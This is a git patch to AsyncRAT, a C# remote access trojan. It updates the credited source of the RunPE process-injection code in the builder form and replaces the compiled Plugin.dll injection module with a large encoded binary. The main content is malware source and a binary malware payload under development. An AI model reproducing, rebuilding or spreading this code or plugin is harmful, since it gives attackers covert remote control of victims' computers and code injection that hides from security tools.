From 4c90f1b85b0864e78fd60dca4ab278e48c1ea239 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Wed, 12 Jun 2019 09:12:30 +0300 Subject: [PATCH] Update runPE --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 2 +- .../AsyncRAT-Sharp/Resources/Plugin.dll | Bin 10240 -> 7680 bytes 2 files changed, 1 insertion(+), 1 deletion(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 063211e..0a65e29 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -499,7 +499,7 @@ namespace AsyncRAT_Sharp { msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); - // github.com/gigajew/WinXRunPE-x86_x64 + // github.com/Artiist/RunPE-Process-Protection } foreach (ListViewItem itm in listView1.SelectedItems) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Plugin.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/Plugin.dll index 465606b36a1499a6f3d7b4c083f5be0ed855228a..642694f98b48ee83debff129a1418f6077c04ff1 100644 GIT binary patch literal 7680 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 CAh>n_